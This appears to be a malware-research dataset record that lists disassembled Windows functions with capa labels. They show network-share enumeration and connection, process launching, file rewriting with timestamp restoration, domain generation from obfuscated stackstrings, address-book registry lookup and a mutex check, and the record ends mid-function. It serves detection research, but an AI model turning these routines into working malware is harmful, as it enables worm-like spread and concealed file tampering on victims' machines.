joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4091a0
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x409254
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00407758
lea edx, [ebp - 8]
mov eax, 0x409268
call fcn.00404d28
mov eax, dword [ebp - 8]
call fcn.00407a80
lea edx, [ebp - 0xc]
mov eax, 0x40927c
call fcn.00404d28
mov eax, dword [ebp - 0xc]
call fcn.00407a80
lea edx, [ebp - 0x10]
mov eax, 0x409290
call fcn.00404d28
mov eax, dword [ebp - 0x10]
call fcn.00407a80
push 0
lea edx, [ebp - 0x14]
mov eax, 0x4092a4
call fcn.00404d28
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x409110
push 0
push 0
call sub.kernel32.dll_CreateThread
push 0x3e8
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40925b
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004031a0
ret
Function at 0x40e8a8
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x40e9d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x40e99a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x40e9f0
call fcn.00403408
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.00410b84
mov eax, dword [ebp - 0xc]
call fcn.00403c84
mov esi, eax
test esi, esi
jl 0x40e990
inc esi
xor ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.004035bc
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x40e9f4
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x40e956
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40e98c
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x40ea00
call fcn.00403408
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov dl, 1
call fcn.004100d8
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.004035bc
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x40e916
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40e9a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e9dc
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004031a0
lea eax, [ebp - 0xc]
mov edx, dword [0x40e884]
call fcn.00403e44
lea eax, [ebp - 4]
call fcn.0040317c
ret

Function at 0x40ea04
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40ea86
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.0040459c
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x40ea47
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ea8d
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40f10c
Capabilities:
Get file size
Read file on windows
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40f28d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00404b34
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40f277
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp esi, 0x1000000
jae 0x40f271
cmp esi, dword [0x4139c8]
jl 0x40f19c
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [0x4139b0]
push eax
push ebx
call sub.kernel32.dll_ReadFile
mov eax, dword [0x412200]
mov eax, dword [eax]
call fcn.004035bc
mov ecx, eax
mov eax, dword [0x4139b0]
mov edx, esi
call fcn.00408994
test eax, eax
sete al
jmp 0x40f19e
mov al, 1
test al, al
je 0x40f271
mov eax, esi
call fcn.00402494
mov edi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.00404660
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_GetFileTime
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, dword [0x4139b4]
mov ecx, dword [0x4139c8]
mov eax, ebx
call fcn.004049a8
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.004049a8
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x28]
mov edx, esi
mov eax, edi
call fcn.00405488
test al, al
je 0x40f256
cmp dword [ebp - 0x28], 0
jbe 0x40f256
cmp dword [ebp - 0x2c], 0
je 0x40f256
mov esi, dword [0x4139bc]
sub esi, dword [0x4139b4]
push 0
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer
cmp esi, eax
jne 0x40f256
mov edx, dword [ebp - 0x28]
mov eax, dword [0x4139b8]
call fcn.004083bc
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, ebx
call fcn.004049a8
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
mov edx, esi
mov eax, edi
call fcn.004024b4
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f294
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40f32c
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.004035ac
mov eax, dword [ebp - 0x18]
call fcn.004035ac
mov eax, dword [ebp - 0x1c]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40f430
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
mov eax, dword [ebp - 0x18]
call fcn.004035bc
mov edx, eax
mov eax, dword [0x413650]
pop ecx
call fcn.0040f2b4
pop ecx
test al, al
je 0x40f415
mov eax, dword [ebp - 0x1c]
call fcn.00404b24
test al, al
je 0x40f3a6
mov eax, dword [ebp - 0x1c]
call fcn.004035bc
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
push ebp
push 0x40f3fa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x1c]
call fcn.004035bc
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40f404
mov eax, dword [ebp - 0x10]
call fcn.004045a4
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f437
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004031a0
ret
Function at 0x40fa50
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40faed
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 0xc]
call fcn.0040317c
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40fad7
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40facb
test ebx, ebx
jne 0x40faca
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [ebp - 0xc]
call fcn.0040483c
mov eax, dword [esi + ebx*4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov dword [edx], eax
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x40faad
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40faf4
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40fafc
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
mov eax, dword [ebp - 8]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40fcd6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x20
call fcn.004027f4
mov eax, dword [ebp - 4]
call fcn.004035bc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x48], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40fcae
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x2000
mov eax, dword [ebp - 0x18]
call fcn.00402494
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x40fc95
cmp eax, 0xea
jne 0x40fbec
mov dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x18]
call fcn.004024d4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x40fcae
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x40fb85
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403374
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
call fcn.00403508
je 0x40fc84
mov byte [ebp - 0x21], 0
mov eax, dword [0x4139a8]
call fcn.00403c84
mov ebx, eax
test ebx, ebx
jl 0x40fc68
inc ebx
xor edi, edi
lea eax, [ebp - 0x54]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403374
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x20]
call fcn.0040fa50
mov eax, dword [0x4139a8]
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x20]
jne 0x40fc64
mov byte [ebp - 0x21], 1
jmp 0x40fc68
inc edi
dec ebx
jne 0x40fc35
cmp byte [ebp - 0x21], 0
jne 0x40fc84
lea eax, [ebp - 0x58]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403374
mov eax, dword [ebp - 0x58]
call fcn.0040e8a8
add esi, 0x20
dec dword [ebp - 0x28]
jne 0x40fc03
jmp 0x40fb85
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x40fcae
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fcdd
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.004031a0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031a0
ret
Function at 0x40fe8c
Capabilities:
Read file via mapping

Disassembly:
push ebx
xor ebx, ebx
push 0x40fef0
push 0
push 6
call sub.kernel32.dll_OpenFileMappingA
mov dword [0x4139c0], eax
cmp dword [0x4139c0], 0
je 0x40feaf
mov bl, 1
jmp 0x40fecb
push 0x40fef0
push 0x4054
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov dword [0x4139c0], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x4139c0]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x4139c4], eax
test bl, bl
jne 0x40feec
call fcn.00410884
mov eax, ebx
pop ebx
ret

Function at 0x40ff00
Capabilities:
Clear file content
Get file size
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x40ff08
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x4100bb
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_GetLocalTime
lea edx, [ebp - 0x24]
movzx eax, word [ebp - 0x20]
call fcn.00404850
push dword [ebp - 0x24]
push 0x4100d4
lea edx, [ebp - 0x28]
movzx eax, word [ebp - 0x1e]
call fcn.00404850
push dword [ebp - 0x28]
push 0x4100d4
lea edx, [ebp - 0x2c]
movzx eax, word [ebp - 0x1a]
call fcn.00404850
push dword [ebp - 0x2c]
lea eax, [ebp - 8]
mov edx, 5
call fcn.0040347c
lea eax, [ebp - 0x10]
mov ecx, dword [0x420204]
mov edx, dword [ebp - 4]
call fcn.00403408
mov eax, dword [ebp - 0x10]
call fcn.00404b24
test al, al
je 0x41003e
mov eax, dword [ebp - 0x10]
call fcn.004035bc
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00403374
mov eax, dword [ebp - 0x30]
mov edx, 2
call fcn.00404b34
mov esi, eax
cmp esi, 0xffffffff
je 0x410093
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov edx, eax
mov eax, 0x1e
call fcn.004083bc
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, edi
call fcn.004036ec
mov eax, dword [ebp - 0xc]
call fcn.004035bc
mov edx, eax
mov ecx, edi
mov eax, esi
call fcn.00404660
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00403508
jne 0x41000a
xor ebx, ebx
jmp 0x410036
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.00404978
mov eax, dword [ebp - 8]
call fcn.004033bc
push eax
mov eax, dword [ebp - 8]
call fcn.004035bc
mov edx, eax
mov eax, esi
pop ecx
call fcn.004049a8
push esi
call sub.kernel32.dll_SetEndOfFile
push esi
call sub.kernel32.dll_CloseHandle
jmp 0x410093
mov eax, dword [ebp - 0x10]
call fcn.00404984
mov esi, eax
cmp esi, 0xffffffff
je 0x410091
mov eax, dword [ebp - 8]
call fcn.004033bc
push eax
mov eax, dword [ebp - 8]
call fcn.004035bc
mov edx, eax
mov eax, esi
pop ecx
call fcn.004049a8
push esi
call sub.kernel32.dll_CloseHandle
push 6
lea eax, [ebp - 0x34]
mov ecx, dword [0x420204]
mov edx, dword [ebp - 4]
call fcn.00403408
mov eax, dword [ebp - 0x34]
call fcn.004035bc
push eax
call sub.kernel32.dll_SetFileAttributesA
jmp 0x410093
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4100c2
lea eax, [ebp - 0x34]
mov edx, 5
call fcn.004031a0
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004031a0
ret
Function at 0x410b84
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x410ce6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x20
call fcn.004027f4
mov eax, dword [ebp - 4]
call fcn.004035bc
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x410cc8
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x2000
mov eax, dword [ebp - 0x14]
call fcn.00402494
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x410caf
cmp eax, 0xea
jne 0x410c4d
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.004024d4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x410cc8
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
dec esi
test esi, esi
jl 0x410be6
inc esi
mov eax, dword [ebx]
call fcn.00403c7c
inc eax
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x40836c]
call fcn.00403e38
add esp, 4
mov eax, dword [ebx]
call fcn.00403c84
mov edx, dword [ebx]
lea eax, [edx + eax*4]
push eax
lea eax, [ebp - 0x3c]
mov edx, dword [edi + 0x14]
add edx, 2
call fcn.00403374
mov ecx, dword [ebp - 0x3c]
mov edx, 0x410d00
pop eax
call fcn.00403408
add edi, 0x20
dec esi
jne 0x410c5d
jmp 0x410be6
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x410cc8
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410ced
lea eax, [ebp - 0x3c]
call fcn.0040317c
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call sub.KERNEL32.DLL_SetLastError
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section..data]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section..data]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section..data]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section..data]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section..data]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section..data]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401b7e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, 0
mov dword [esp], 0
call sub.msvcrt.dll_malloc
mov esi, eax
mov dword [esp + 4], 0x40e000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov edi, eax
mov eax, 0
test edi, edi
je 0x401c23
jmp 0x401bc1
mov eax, 0
jmp 0x401c23
test byte [edi + 0xc], 0x10
jne 0x401c00
inc ebx
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.msvcrt.dll_realloc
mov esi, eax
test eax, eax
je 0x401bba
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [eax + ebx - 1]
mov dword [esp], eax
call sub.msvcrt.dll_fread
test byte [edi + 0xc], 0x10
je 0x401bc7
lea eax, [ebx - 1]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00401b44
mov ebx, eax
mov dword [esp], esi
call sub.msvcrt.dll_free
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, ebx
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x58]
cld
mov ecx, 3
mov eax, 0
rep stosd dword es:[edi], eax
mov word [edi], 0
mov byte [edi + 2], 0
mov dword [ebp - 0x58], 0x6b6c7665
mov dword [ebp - 0x54], 0x686f6472
mov word [ebp - 0x50], 0x706c
mov byte [ebp - 0x4e], 0
lea eax, [ebp - 0x58]
mov dword [esp + 4], eax
mov dword [esp], 0x40e44a
call fcn.00404c6a
call fcn.00402106
mov ecx, dword [0x414008]
mov edi, 0
mov ebx, 0xcccccccd
mov eax, ecx
mul ebx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
mov dword [ebp + edi*4 - 0x48], ecx
mov ecx, edx
inc edi
cmp edi, 9
jle 0x402185
mov edx, 0
mov eax, dword [ebp + edx*4 - 0x48]
movzx eax, byte [eax + ebp - 0x58]
mov byte [edx + esi], al
inc edx
cmp edx, 9
jle 0x4021a4
mov byte [esi + 0xa], 0
cmp dword [ebp - 0x48], 0
jne 0x4021d6
mov eax, dword [str..com]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
cmp dword [ebp - 0x48], 1
jne 0x4021f2
mov eax, dword [str..biz]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
cmp dword [ebp - 0x48], 2
jne 0x40220b
mov eax, dword [0x40d068]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
cmp dword [ebp - 0x48], 3
jne 0x402224
mov eax, dword [str..net]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
cmp dword [ebp - 0x48], 4
jne 0x40223d
mov eax, dword [str..org]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
cmp dword [ebp - 0x48], 5
jne 0x402256
mov eax, dword [0x40d074]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
cmp dword [ebp - 0x48], 6
jne 0x40226f
mov eax, dword [str..info]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
jmp 0x402280
mov eax, dword [0x40d07c]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strcat
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402f2e
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov byte [ebp - 5], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0xc0000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.DLL_CreateFileA
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
sete dl
test eax, eax
sete al
mov ecx, 0
or dl, al
jne 0x402fba
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.KERNEL32.DLL_GetFileSize
sub esp, 8
cmp eax, 0xfa8da
jae 0x402fab
mov byte [ebp - 5], 1
mov dword [esp], ebx
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
movzx ecx, byte [ebp - 5]
mov eax, ecx
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x40396e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x184
lea eax, [ebp - 0x15c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWABWAB4Wab_File_Name
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x403a32
lea ebx, [ebp - 0x158]
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_memset
mov dword [ebp - 0x160], 0x100
lea eax, [ebp - 0x160]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x15c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov eax, dword [ebp - 0x15c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp byte [ebp - 0x158], 0
je 0x403a32
mov dword [esp], ebx
call fcn.00403390
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x403a38
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x130
lea eax, [ebp - 0x118]
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
movzx eax, byte [ebp - 0x118]
mov byte [ebp - 0x119], al
mov word [ebp - 0x117], 0x5c3a
mov byte [ebp - 0x115], 0
mov byte [ebp - 0x118], 0x43
lea esi, [ebp - 0x118]
movzx eax, byte [ebp - 0x119]
cmp byte [ebp - 0x118], al
je 0x403ac9
mov dword [esp], esi
call sub.KERNEL32.DLL_GetDriveTypeA
sub esp, 4
cmp eax, 3
jne 0x403ac9
mov dword [esp], 0xbb8
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [esp + 4], 0xf
mov dword [esp], esi
call fcn.00403790
inc byte [ebp - 0x118]
cmp byte [ebp - 0x118], 0x58
jle 0x403a8b
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x403e2e
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
mov dword [esp + 4], str.IHYanFuibyan
lea ebx, [ebp - 0x48]
mov dword [esp], ebx
call fcn.00404c38
